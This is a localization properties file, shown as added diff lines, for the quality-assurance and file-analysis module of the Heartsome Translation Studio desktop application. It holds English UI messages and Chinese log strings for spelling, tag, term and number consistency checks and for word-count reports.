+qa.all.log.openThisXmlError = Cannot read file {0} correctly, please re-select the file. +# \u8fd9\u662f\u9488\u5bf9\u6587\u4ef6\u5206\u6790\u4e2d\u5168\u5c40\u53d8\u91cf +qa.all.fa.clickToShrink = Collapse the folder +qa.all.fa.fileLocation = File path: +qa.all.fa.fileName = File name +qa.all.fa.WordsFA = Analyze Files +# net.heartsome.cat.ts.ui.qa\uff0c AutomaticQATrigger.java +qa.AutomaticQATrigger.name1 = \ +qa.AutomaticQATrigger.name2 = \ +qa.AutomaticQATrigger.name3 = Error +qa.AutomaticQATrigger.tip1 = Failed to pass the following quality checks at Segment {0}:\n +qa.AutomaticQATrigger.tip2 = {0} failed +qa.AutomaticQATrigger.tip3 = \ +qa.AutomaticQATrigger.tip4 = Unable to perform QA check, please try again. +qa.AutomaticQATrigger.tip5 = \nAre you sure you want to ignore above errors and continue? +qa.AutomaticQATrigger.log1 = [LOG] \u65e0\u6cd5\u6253\u5f00\u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\uff0c\u8bf7\u91cd\u8bd5\u3002 +# net.heartsome.cat.ts.ui.qa\uff0c NonTranslationQA.java +qa.NonTranslationQA.tip1 = Non-translatable text {0} not found in target +qa.NonTranslationQA.tip2 = Found excess non-translatable text {0} in target. +# net.heartsome.cat.ts.ui.qa\uff0c NumberConsistenceQA.java +qa.NumberConsistenceQA.tip1 = Numeral {0} not found in target +qa.NumberConsistenceQA.tip2 = Numeral {0} not found in source +# net.heartsome.cat.ts.ui.qa\uff0c ParaCompletenessQA.java +qa.ParaCompletenessQA.tip1 = Untranslated:No translation +qa.ParaCompletenessQA.tip2 = Untranslated:Only spaces found in target +qa.ParaCompletenessQA.tip3 = Untranslated:Target is the same as the source +# net.heartsome.cat.ts.ui.qa\uff0c ParagraphConsistenceQA.java +qa.ParagraphConsistenceQA.name1 = Inconsistency in source +qa.ParagraphConsistenceQA.name2 = Inconsistency in target +qa.ParagraphConsistenceQA.tip1 = Line {0}, +qa.ParagraphConsistenceQA.tip2 = Current line +qa.ParagraphConsistenceQA.tip3 = and +qa.ParagraphConsistenceQA.tip4 = Same source with different translations +qa.ParagraphConsistenceQA.tip5 = Same translation with different sources +# net.heartsome.cat.ts.ui.qa\uff0c QARealization.java +# net.heartsome.cat.ts.ui.qa\uff0c QualityAssurance.java +qa.QualityAssurance.tip1 = Start QA +qa.QualityAssurance.tip2 = No XLIFF files exist in selected files/folders, please try again. +qa.QualityAssurance.tip3 = {0}\uff1aFile {1}... +qa.QualityAssurance.tip4 = {0} failed +qa.QualityAssurance.tip5 = {0}\uff1aParsing file {1}... +qa.QualityAssurance.tip6 = Cannot read file {0} correctly and will be ignored. Are you sure you want to continue? +qa.QualityAssurance.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u9879 {0} \u5b9e\u4f8b\u521d\u59cb\u5316\u5931\u8d25\u3002 + +# net.heartsome.cat.ts.ui.qa\uff0c SpaceOfParaCheckQA.java +qa.SpaceOfParaCheckQA.tip1 = Leading space {0} spaces in source, {1} spaces in target. Deleted {2} spaces in target. +qa.SpaceOfParaCheckQA.tip2 = Leading space {0} spaces in source, {1} spaces in target. Added {2} spaces in target. +qa.SpaceOfParaCheckQA.tip3 = Trailing space {0} spaces in source, {1} spaces in target. Deleted {2} spaces in target. +qa.SpaceOfParaCheckQA.tip4 = Trailing space {0} spaces in source, {1} spaces in target. Added {2} spaces in target. +# net.heartsome.cat.ts.ui.qa\uff0c SpellQA.java +qa.SpellQA.tip1 = Words in target: +qa.SpellQA.tip2 = Spelling mistake +qa.SpellQA.log1 = [LOG] \u5185\u7f6e\u8bcd\u5178\u521d\u59cb\u5316\u5931\u8d25 +qa.SpellQA.log2 = [LOG] \u5916\u7f6e\u8bcd\u5178 (Aspell) \u521d\u59cb\u5316\u5931\u8d25 +# net.heartsome.cat.ts.ui.qa\uff0c TagConsistenceQA.java +qa.TagConsistenceQA.name1 = Tags deleted +qa.TagConsistenceQA.name2 = Inconsistent tags +qa.TagConsistenceQA.tip1 = Deleted tags in target: {0} +qa.TagConsistenceQA.tip2 = Tag {0} in target is inconsistent with source. +# net.heartsome.cat.ts.ui.qa\uff0c TermConsistenceQA.java +qa.TermConsistenceQA.tip1 = The term {0} should be translated as {1}. +# net.heartsome.cat.ts.ui.qa\uff0c TgtTextLengthLimitQA.java +qa.TgtTextLengthLimitQA.tip1 = Word count {0} in target exceeds {0} the maximum limit {1}. +qa.TgtTextLengthLimitQA.tip2 = Word count {0} is fewer than the minimum {1} required. +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c BatchQADialog.java +qa.dialogs.BatchQADialog.name1 = &Options... +qa.dialogs.BatchQADialog.name2 = XLIFF Files +qa.dialogs.BatchQADialog.tip1 = QA will be performed on all the above XLIFF files opened in one tab. +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c FileAnalysisDialog.java +qa.dialogs.FileAnalysisDialog.name1 = &Options... +qa.dialogs.FileAnalysisDialog.xliffFile = XLIFF Files +qa.dialogs.FileAnalysisDialog.lockExter101 = Lock context matches +qa.dialogs.FileAnalysisDialog.lockExter100 = Lock exact matches +qa.dialogs.FileAnalysisDialog.lockInterRepeat = Lock internal repetitions +# net.heartsome.cat.ts.ui.qa.dialogs\uff0c RegularInstalDialog.java +qa.dialogs.RegularInstalDialog.regular = Regular expressions +qa.dialogs.RegularInstalDialog.content = Non-translatable text: +qa.dialogs.RegularInstalDialog.position = Location +qa.dialogs.RegularInstalDialog.operate = Operation +qa.dialogs.RegularInstalDialog.value = Value +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c EditProgressFA.java \u5c06\u7f16\u8f91\u8fdb\u5ea6 \u6539\u6210\u4e86 \u6279\u51c6\u8fdb\u5ea6 +qa.fileAnalysis.EditProgressFA.name1 = Approval Progress Analysis +qa.fileAnalysis.EditProgressFA.words = Words +qa.fileAnalysis.EditProgressFA.nonApprove = Untranslated/Draft/Translated +qa.fileAnalysis.EditProgressFA.approved = Approved/Signed-off +qa.fileAnalysis.EditProgressFA.approveWords = Words +qa.fileAnalysis.EditProgressFA.approveProp = Percentage +qa.fileAnalysis.EditProgressFA.lockWordsNum = Locked +qa.fileAnalysis.EditProgressFA.wordsSum = Totals +qa.fileAnalysis.EditProgressFA.approveParaNum = Segments +qa.fileAnalysis.EditProgressFA.lockParasNum = Locked +qa.fileAnalysis.EditProgressFA.paraSum = Totals +qa.fileAnalysis.EditProgressFA.tip1 = Analyzing approval progress of file {0}... +qa.fileAnalysis.EditProgressFA.tip2 = Results of approval progress analysis +qa.fileAnalysis.EditProgressFA.log1 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5237\u65b0\u5f02\u5e38 +qa.fileAnalysis.EditProgressFA.log2 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.EditProgressFA.log3 = [LOG] \u672a\u627e\u5230\u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.EditProgressFA.log4 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.EditProgressFA.log5 = [LOG] \u6279\u51c6\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25! +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c TranslationProgressFA.java +qa.fileAnalysis.TranslationProgressFA.name1 = Results of translation progress analysis +qa.fileAnalysis.TranslationProgressFA.TransProgresFA = Translation Progress Analysis +qa.fileAnalysis.TranslationProgressFA.words = Words +qa.fileAnalysis.TranslationProgressFA.nonTrans = Untranslated/Draft +qa.fileAnalysis.TranslationProgressFA.translated = Translated/Approved/Signed-off +qa.fileAnalysis.TranslationProgressFA.transWords = Words +qa.fileAnalysis.TranslationProgressFA.transWordsProp = Percentage +qa.fileAnalysis.TranslationProgressFA.lockedWords = Locked +qa.fileAnalysis.TranslationProgressFA.wordsSum = Totals +qa.fileAnalysis.TranslationProgressFA.paragraph = Segment +qa.fileAnalysis.TranslationProgressFA.transParasNum = Segments +qa.fileAnalysis.TranslationProgressFA.lockedParasNum = Locked +qa.fileAnalysis.TranslationProgressFA.parasSum = Totals +qa.fileAnalysis.TranslationProgressFA.tip1 = Analyzing translation progress of file {0}... +qa.fileAnalysis.TranslationProgressFA.log1 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5237\u65b0\u5f02\u5e38 +qa.fileAnalysis.TranslationProgressFA.log2 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.TranslationProgressFA.log3 = [LOG] \u672a\u627e\u5230\u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.TranslationProgressFA.log4 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.TranslationProgressFA.log5 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25! +# net.heartsome.cat.ts.ui.qa.fileAnalysis\uff0c WordsFA.java +qa.fileAnalysis.WordsFA.name1 = Results of word analysis +qa.fileAnalysis.WordsFA.DBMatch = Matches from TM +qa.fileAnalysis.WordsFA.wordsFA = Words +qa.fileAnalysis.WordsFA.exterMatch = External Matches +qa.fileAnalysis.WordsFA.interMatch = Internal Matches +qa.fileAnalysis.WordsFA.newWordsNum = New +qa.fileAnalysis.WordsFA.equivWordsNum = Weighted Word Count +qa.fileAnalysis.WordsFA.lockWordsNum = Locked +qa.fileAnalysis.WordsFA.wordsSum = Totals +qa.fileAnalysis.WordsFA.contentMath = Context Matches +qa.fileAnalysis.WordsFA.contentRepeat = Internal Repetitions +qa.fileAnalysis.WordsFA.paragraph = Segment +qa.fileAnalysis.WordsFA.newPara = New +qa.fileAnalysis.WordsFA.interMatchPara = Internal Matches +qa.fileAnalysis.WordsFA.exterMatchPara = External Matches +qa.fileAnalysis.WordsFA.interRepeatPara = Internal Repetitions +qa.fileAnalysis.WordsFA.exterRepeatPara = External Repetitions +qa.fileAnalysis.WordsFA.lockedPara = Locked +qa.fileAnalysis.WordsFA.paraSum = Totals +qa.fileAnalysis.WordsFA.tip1 = Word Analysis: Internal and external matches of File {0}.. ... +qa.fileAnalysis.WordsFA.log1 = [LOG] \u6570\u636e\u5e93\u5339\u914d\u5931\u8d25\uff01 +qa.fileAnalysis.WordsFA.log2 = [LOG] \u6570\u636e\u5e93\u521d\u59cb\u5316\u5931\u8d25\uff01 +qa.fileAnalysis.WordsFA.log3 = [LOG] \u672a\u627e\u5230\u5f53\u524d\u6570\u636e\u5e93\u7684\u5b9e\u73b0\u7c7b\uff01 +qa.fileAnalysis.WordsFA.log4 = [LOG] \u6570\u636e\u5e93\u5173\u95ed\u5f02\u5e38\uff01 +qa.fileAnalysis.WordsFA.log5 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6253\u5f00\u5931\u8d25 +qa.fileAnalysis.WordsFA.log6 = [LOG] \u672a\u627e\u5230\u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868 +qa.fileAnalysis.WordsFA.log7 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u5b57\u7b26\u7f16\u8f91\u8f6c\u6362\u5f02\u5e38 +qa.fileAnalysis.WordsFA.log8 = [LOG] \u7ffb\u8bd1\u8fdb\u5ea6\u5206\u6790\u62a5\u8868\u6570\u636e\u8bfb\u5199\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.handlers\uff0c BatchQAHandler.java +qa.handlers.BatchQAHandler.tip1 = No XLIFF files exist in selected files/folders, please try again. +qa.handlers.BatchQAHandler.tip2 = Please select XLIFF files for QA. +qa.handlers.BatchQAHandler.log1 = [LOG] \u9879\u76ee XLIFF \u6587\u4ef6\u83b7\u53d6\u5931\u8d25\uff01 +qa.handlers.BatchQAHandler.log2 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.handlers\uff0c FileAnalysisHandler.java +qa.handlers.FileAnalysisHandler.tip1 = Please select XLIFF files for word analysis. +qa.handlers.FileAnalysisHandler.tip2 = Please select XLIFF files within a same project for word analysis. +qa.handlers.FileAnalysisHandler.tip3 = Please select XLIFF files for word analysis. +qa.handlers.FileAnalysisHandler.tip4 = No XLIFF files exist in selected files/folders, please try again. +qa.handlers.FileAnalysisHandler.tip5 = {0}: Parsing file {1}... +qa.handlers.FileAnalysisHandler.tip6 = Can not carry out word analysis. Please try again. +qa.handlers.FileAnalysisHandler.log1 = [LOG] \u9879\u76ee XLIFF \u6587\u4ef6\u83b7\u53d6\u5931\u8d25\uff01 +qa.handlers.FileAnalysisHandler.log2 = [LOG] \u6587\u4ef6\u5206\u6790\u5931\u8d25\uff0c\u5b9e\u73b0\u7c7b\u521d\u59cb\u5316\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.model QAModel.java +qa.model.QAModel.ipAdd = IP +qa.model.QAModel.webAdd = URL +qa.model.QAModel.mailAdd = E-mail +# net.heartsome.cat.ts.ui.qa.preference, NonTranslationQAPage.java +qa.preference.NonTranslationQAPage.nonTransElement = Non-translatable text +qa.preference.NonTranslationQAPage.nonTransElementInstal = Non-translatable text +qa.preference.NonTranslationQAPage.tip = Name: +qa.preference.NonTranslationQAPage.content = Non-translatable text: +qa.preference.NonTranslationQAPage.regular = Regular expressions: +qa.preference.NonTranslationQAPage.add = &Add +qa.preference.NonTranslationQAPage.delete = D&elete +qa.preference.NonTranslationQAPage.addInterElement = Add built-in non-translatable text +qa.preference.NonTranslationQAPage.tip1 = Please enter a non-translatable text. +qa.preference.NonTranslationQAPage.tip2 = Please enter a name. +qa.preference.NonTranslationQAPage.tip3 = Please enter a non-translatable text. +qa.preference.NonTranslationQAPage.tip4 = Name of the non-translatable text is already in use, please enter a new name. +qa.preference.NonTranslationQAPage.tip5 = Built-in non-translatable text {0} has already been added, no need to add it again. +qa.preference.NonTranslationQAPage.tip6 = Cannot modify the built-in non-translatable texts. +qa.preference.NonTranslationQAPage.log1 = [LOG] \u65e0\u6cd5\u627e\u5230\u975e\u8bd1\u5143\u7d20\u5b58\u50a8\u6587\u4ef6\uff1a".nonTransElement"\uff01 +qa.preference.NonTranslationQAPage.log2 = [LOG] \u975e\u8bd1\u5143\u7d20\u6587\u4ef6\u8bfb\u5199\u7f16\u7801\u9519\u8bef\uff01 +qa.preference.NonTranslationQAPage.log3 = [LOG] \u975e\u8bd1\u5143\u7d20\u6587\u4ef6\u8bfb\u5199\u9519\u8bef\uff01 +qa.preference.NonTranslationQAPage.tipColumn = Name +qa.preference.NonTranslationQAPage.contentColumn = Non-translatable text +qa.preference.NonTranslationQAPage.regularColumn = Regular expressions + +qa.preference.NonTranslationQAPage.addTip1 = Whole-word match +qa.preference.NonTranslationQAPage.addTip2 = Ignore case +qa.preference.NonTranslationQAPage.addTip3 = Please enter the name of non-translatable text. +qa.preference.NonTranslationQAPage.addTip4 = Please enter the content of non-translatable text. +qa.preference.NonTranslationQAPage.addTip5 = Please fill the regex of non-translatable text. +qa.preference.NonTranslationQAPage.addTip6 = The non-translatable text already exists. Please re-enter. +qa.preference.NonTranslationQAPage.editBtn = Edit +qa.preference.NonTranslationQAPage.enter = Confirm +qa.preference.NonTranslationQAPage.enterDelete = Are you sure to delete the selected non-translatable text? +qa.preference.NonTranslationQAPage.addModle = Add Non-translatable text +qa.preference.NonTranslationQAPage.editModle = Edit Non-translatable text +qa.preference.NonTranslationQAPage.enterBtn = OK +qa.preference.NonTranslationQAPage.cancelBtn = Cancel + +# net.heartsome.cat.ts.ui.qa.preference, QAInstalPage.java +qa.preference.QAInstalPage.batchQA = Global +qa.preference.QAInstalPage.autoQA = Auto +qa.preference.QAInstalPage.tipLevel = Level +qa.preference.QAInstalPage.qaInstal = QA +qa.preference.QAInstalPage.autoQaInstal = Trigger the selected "Auto" QA checks when performing the following actions +qa.preference.QAInstalPage.autoQaWhenApproval = When approving translations +qa.preference.QAInstalPage.autoQaWhenAddToDb = When confirming translations +qa.preference.QAInstalPage.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u8bbe\u7f6e\u754c\u9762\u56fe\u7247\u52a0\u8f7d\u5931\u8d25\uff01 +# net.heartsome.cat.ts.ui.qa.preference, QAPage.java +qa.preference.QAPage.notInclude = Exclude +qa.preference.QAPage.content = Context matches +qa.preference.QAPage.fullMatch = Exact matches +qa.preference.QAPage.locked = Locked +qa.preference.QAPage.paraConsistence = Segment consistency +qa.preference.QAPage.sameSource = Same source with different translations +qa.preference.QAPage.sameTarget = Same translation with different sources +qa.preference.QAPage.ignoreCase = Ignore case +qa.preference.QAPage.ignoreTag = Ignore tags +qa.preference.QAPage.srcEqulTar = Consistency between target and source +# net.heartsome.cat.ts.ui.qa.spellCheck, AspellChecker.java +qa.spellCheck.AspellChecker.tip1 = Unable to start Aspell. Make sure you have installed Aspell, and it has been set up correctly. If the problem persists, please reinstall Heartsome Translation Studio and reset Aspell. +qa.spellCheck.AspellChecker.log1 = [LOG] \u672a\u627e\u5230 Aspell \u7684\u914d\u7f6e\u6587\u4ef6 aspellConfigure.xml +qa.spellCheck.AspellChecker.log2 = [LOG] Aspell \u8bcd\u5178\u672a\u914d\u7f6e\u8fd0\u884c\u7a0b\u5e8f\u8def\u5f84\u6216\u672a\u914d\u7f6e\u76ee\u6807\u8bed\u8a00 \"{0}\" \u7684\u8bcd\u5178 +# net.heartsome.cat.ts.ui.qa.spellCheck, HashDictionary.java +qa.spellCheck.HashDictionary.tip1 = The dictionary file is incorrect, please download it again. +# net.heartsome.cat.ts.ui.qa.spellCheck, InternalSpellFilesConfiguration.java +qa.spellCheck.InternalSpellFilesConfiguration.tip1 = Unsupported dictionary coding: {0} +qa.spellCheck.InternalSpellFilesConfiguration.tip2 = {0}:{1} : {2} information is missing: {3} +qa.spellCheck.InternalSpellFilesConfiguration.tip3 = {0}:{1} : Extra token: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip4 = {0}:{1} : Duplicate TRY string: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip5 = {0}:{1} : Duplicate SET strings: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip6 = {0}:{1} : Duplicate composite mark: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip7 = {0}:{1} : Duplicate minimum composite character settings: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip8 = {0}:{1} : Duplicate REP Table: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip9 = {0}:{1} : The number of entries in the replacement table is incorrect: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip10 = {0}:{1} : Found unexpected end of file when reading the replacement table: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip11 = {0}:{1} : Replacement table corrupted: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip12 = {0}:{1} : Lacking pattern / replacement: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip13 = {0}:{1} : Unknown tag: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip14 = {0}:{1} : {2} information is missing: {3} +qa.spellCheck.InternalSpellFilesConfiguration.tip15 = {0}:{1} : Prefix and suffix character is too long: {2} +qa.spellCheck.InternalSpellFilesConfiguration.tip16 = {0}:{1} : Unknown composite indicator "{2}" is in: {3} +qa.spellCheck.InternalSpellFilesConfiguration.tip17 = {0}:{1} : Found unexpected end of file when reading {2}: {3} +qa.spellCheck.InternalSpellFilesConfiguration.tip18 = {0}:{1} : The entry has been damaged, it should be "{2}": {3} +qa.spellCheck.InternalSpellFilesConfiguration.tip19 = {0}:{1} : The entry has been damaged, it should be "{2}": {3} +# net.heartsome.cat.ts.ui.qa.views, QAResultViewPart.java +qa.views.QAResultViewPart.columnTipLevel = Level +qa.views.QAResultViewPart.columnErrorLine = No. +qa.views.QAResultViewPart.columnQAType = Type +qa.views.QAResultViewPart.columnErrorTip = Problem +qa.views.QAResultViewPart.columnFilePath = File +qa.views.QAResultViewPart.columnLangPair = Language Pairs +qa.views.QAResultViewPart.log1 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6570\u636e\u52a0\u8f7d\u5931\u8d25\uff01 +qa.views.QAResultViewPart.log2 = [LOG] \u54c1\u8d28\u68c0\u67e5\u7ed3\u679c\u89c6\u56fe\u6253\u5f00\u5931\u8d25\uff01 +# \u62fc\u5199\u68c0\u67e5\u7684\u65e5\u5fd7\u5e38\u91cf +qa.spellCheck.all.log1 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u8bfb\u53d6\u5f02\u5e38\uff01 +qa.spellCheck.all.log2 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u5199\u5165\u5f02\u5e38\uff01 +qa.spellCheck.all.log3 = [LOG] Aspell \u62fc\u5199\u68c0\u67e5\u5668\u6570\u636e\u8bfb\u5199\u5f02\u5e38\uff01 +qa.spellCheck.all.log4 = [LOG] \u672a\u627e\u5230\u5185\u7f6e\u8bcd\u5178\u7684\u914d\u7f6e\u6587\u4ef6 dictionaries.xml +qa.spellCheck.all.log5 = [LOG] \u5185\u7f6e\u8bcd\u5178\u672a\u914d\u7f6e\u5f53\u524d\u8bed\u8a00\u7684\u68c0\u67e5 \"{0}\" + +qa.NumberOrTagConsisQAHandler.jobTitle1 = Numeral consistency +qa.NumberOrTagConsisQAHandler.jobTitle2 = Tag consistency + +preference.EquivalentPage.title = Weighted factor +preference.EquivalentPage.group = Weighted factor +preference.EquivalentPage.equiImgLbl = Set weighted word count for different match bands when calculating the Weighted Word Count: +preference.EquivalentPage.matchLbl = Match value: +preference.EquivalentPage.interEquivLbl = Weighted factor: +preference.EquivalentPage.msgTitle = Message +preference.EquivalentPage.msg1 = The match value cannot be less than {0}, please enter another value. +preference.EquivalentPage.msg2 = Internal Repetitions +preference.EquivalentPage.msg3 = Context Matches +preference.EquivalentPage.msg4 = Exact Matches +preference.EquivalentPage.msg5 = Enter Weighted factor incorrectly, please enter again.\nWeighted factor shall be a number between 0 to 1.00, andretained for up to two decimal places. +preference.FileAnalysisInstalPage.title = Analyze Files +preference.FileAnalysisInstalPage.faGroup = Analyze Files +preference.FileAnalysisInstalPage.faImgLbl = When calculating segment match value: +preference.FileAnalysisInstalPage.ignoreCaseBtn = Ignore case +preference.FileAnalysisInstalPage.ignoreTagBtn = Ignore tags +preference.FileAnalysisInstalPage.minMacthLbl = Minimum match value: +preference.FileAnalysisInstalPage.contextLbl = Context segments: +preference.FileAnalysisInstalPage.unitLbl = \ + +preference.FileAnalysisInstalPage.faFileGroup = Analysis Report +preference.FileAnalysisInstalPage.faFileTip = The analysis report contains: +preference.FileAnalysisInstalPage.faFileInterRepeate = Internal Repetitions +preference.FileAnalysisInstalPage.faFileInterMatch = Internal fuzzy matches + +preference.NonTranslationQAPage.instalLbl = Set non-translatable text: +preference.QAInstalPage.itemInstalLbl = Select tasks to check when performing a global QA check.\n\nTo perform auto-checks when confirming or approving translations, please check the appropriate "Auto" box, and also specify the Auto-check trigger below.\n\nProblems in "Error" level will be poped up during auto QA and be listed in QA results.\nProblems in "Warning" level will only be listed in the results without prompting.\n +preference.QAPage.notIncludeLbl = Ignore the following segments during QA: +preference.QAPage.paraConsisLbl = Segment consistency check options: +preference.QAPage.group = Target length limit +preference.QAPage.tgtLengthSetLbl = Allow target segments to be longer or shorter than source segments: +preference.QAPage.minBtn = Shorter by: +preference.QAPage.maxBtn = Longer by: +preference.QAPage.msg1 = Please enter percentage target segments can be shorter by. +preference.QAPage.msg2 = Shorter proportion of the target segments is invalid. Please enter again. +preference.QAPage.msg3 = Please enter percentage target segments can be longer by. +preference.QAPage.msg4 = Longer proportion of the target segments is invalid. Please enter again. + +views.QAResultViewPart.deletWarnItem = Delete Warning items +views.QAResultViewPart.deleteAllItem = Clear +views.QAResultViewPart.ignoreSpellItem = Add ignored items...(TODO) +views.QAResultViewPart.msgTitle = Message +views.QAResultViewPart.msg1 = An error occured when opening files in one tab. Please try again. + +################################ 2012-08-29 robert \u6dfb\u52a0\uff0cEditProgressFA \u4e2d\u6f0f\u6389\u4e86\u4e00\u4e2a \u201c\u6587\u672c\u6bb5\u201d ################################ +qa.fileAnalysis.EditProgressFA.paragraph = Segment + +################################ 2012-09-28 robert \u6dfb\u52a0\uff0c\u672f\u8bed\u5e93\u4e0e\u62fc\u5199\u5b57\u5178\u672a\u8bbe\u7f6e\u65f6\u7684\u63d0\u793a ################################ +qa.TermConsistenceQA.addTip1 = The term consistency check cannot be performed because no termbase has been added to the project, or Heartsome Studio cannot connect to a termbase.\n\n1. If you want to perform a term consistency check, please click Cancel and make sure a termbase has been added to the project and is accessible by selecting Project > Project Settings > Termbase. Then try again.\n2. If you do not want to perform a term consistency check, please click OK, and continue to perform other QA checks.\n3. If you do not want to perform a term consistency check and do not want to see this message again, please click OK or Cancel, then uncheck the "Auto" box under Tools > Options > QA > Term consistency.\n\nAre you sure you want to skip the term consistency check and continue? +qa.SpellQA.addTip1 = The spell check cannot be performed because no dictionary has been specified for the target language.\n\n1. If you want to perform a spell check, please click Cancel and check your settings by selecting Tools > Options > QA > Aspell Checker. Then try again.\n2. If you do not want to perform a spell check, please click OK, and continue to perform other QA checks.\ N3. If you do not want to perform a spell check and do not want to see this message again, please click OK or Cancel, then uncheck the "Auto" box under Tools > Options > QA > Spell check.\n\nAre you sure you want to skip the spell check and continue?\n\n Are you sure you want to skip the spell check and continue? +qa.TagConsistenceQA.addTip1 = Added tag {0} in target. +qa.TagConsistenceQA.addName1 = Added tags + +################################ 2012-10\uff0d16 ################################ +qa.FileAnalysisDialog.WordsFaTitle = Analyze Files +qa.FileAnalysisDialog.WordsFaMsg = Analyze the source text word count for the selected files. +qa.FileAnalysisDialog.TransPTitle = Translation Progress Analysis +qa.FileAnalysisDialog.TransPMsg = Analyze the translation progress of the selected files. +qa.FileAnalysisDialog.EditPTitle = Approval Progress Analysis +qa.FileAnalysisDialog.EditPMsg = Analyze the approval progress of the selected files. +qa.BatchQADialog.desc = Select what QA checks to perform in Options, then click OK to perform QA. + +################################ 2012-10-18 ################################ +dialog.TargetLengthSettingDialog.msgTitle = Message + +################################ 2012-10-19 robert \u6dfb\u52a0 ################################ +qa.views.QAResultViewPart.addTip1 = The following documents during QA:\n{0} have been opened. Failed to open them in one tab, please close these files and try again. +qa.views.QAResultViewPart.addTip2 = File {0} have been opened in one tab and cannot be opened again. Please close the file and try again. +################################ 2012-11-09 robert \u6dfb\u52a0 ################################ +qa.fa.info.tm = TM: +qa.fa.info.newWordMatch = Minimum match value: +qa.fa.info.fileSum = Files: +qa.fa.info.errorFiles = Analysis Failed: +qa.fa.info.createTime = Created At: + +preference.FileAnalysisInstalPage.tagPenalty = Tag differences penalty: + +################################ 2013-01-30 robert \u6dfb\u52a0\u62fc\u5199\u68c0\u67e5\u7c7b ################################ +qa.preference.SpellPage.groupSpellCheck = Spell checker +qa.preference.SpellPage.imageLabel2 = Use the following spell checker when performing QA: +qa.preference.SpellPage.aspellBtn = Aspell +qa.preference.SpellPage.hunspellBtn = Built-in Hunspell Checker + +qa.preference.SpellPage.realTimeSpellBtn = Real-time spell checking +qa.preference.SpellPage.hunspellTab = Built-in Hunspell Checker +qa.preference.SpellPage.aspellTab = Aspell +qa.preference.SpellPage.hunspellTab.label = Ignore following items\uff1a +qa.preference.SpellPage.ignoreNontransBtn = Non-translatable text +qa.preference.SpellPage.ignoreDigitalFirstBtn = Words beginning with numeral +qa.preference.SpellPage.ignoreUpperCaseFirstBtn = Words beginning with capital letter +qa.preference.SpellPage.ignoreAllUpperBtn = Capitalized Words +qa.preference.SpellPage.aspellLogCheck = Aspell configuration file is corrupt. Do to want to regenerate one? + +qa.preference.SpellPage.title = Aspell Spell Checker +qa.preference.SpellPage.groupParent = Aspell Spell Checker +qa.preference.SpellPage.imageLabel = Specify the path of Aspell and specify which dictionary you want to use for each language. +qa.preference.SpellPage.lblPath = Path: +qa.preference.SpellPage.btnBrowse = &Browse... +qa.preference.SpellPage.btnUTF8 = Use UTF-8 +qa.preference.SpellPage.lblDic = Dictionary: +qa.preference.SpellPage.btnRefresh = Re&fresh +qa.preference.SpellPage.lblLang = Language: +qa.preference.SpellPage.btnAdd = &Add +qa.preference.SpellPage.btnRemove = &Remove +qa.preference.SpellPage.arrTableHeader1 = Language +qa.preference.SpellPage.arrTableHeader2 = Dictionary +qa.preference.SpellPage.btnBrowse.Title = Select Aspell application +qa.preference.SpellPage.msg1 = Please select the language and dictionary you want to remove from the spell check list. +qa.preference.SpellPage.msg2 = An error occured when loading the file. Please try again. + +qa.preference.SpellPage.LOG1 = [LOG] \u83b7\u53d6\u63d2\u4ef6\u8def\u5f84\u51fa\u9519 +qa.preference.SpellPage.LOG2 = [LOG] create aspellConfigure.XML file Failed +qa.preference.SpellPage.LOG3 = An error occured when loading the file. Please try again. +qa.preference.SpellPage.LOG4 = [LOG] Parse aspellConfigure.XML file Failed +qa.preference.SpellPage.LOG5 = [LOG] \u5199\u5165 Aspell 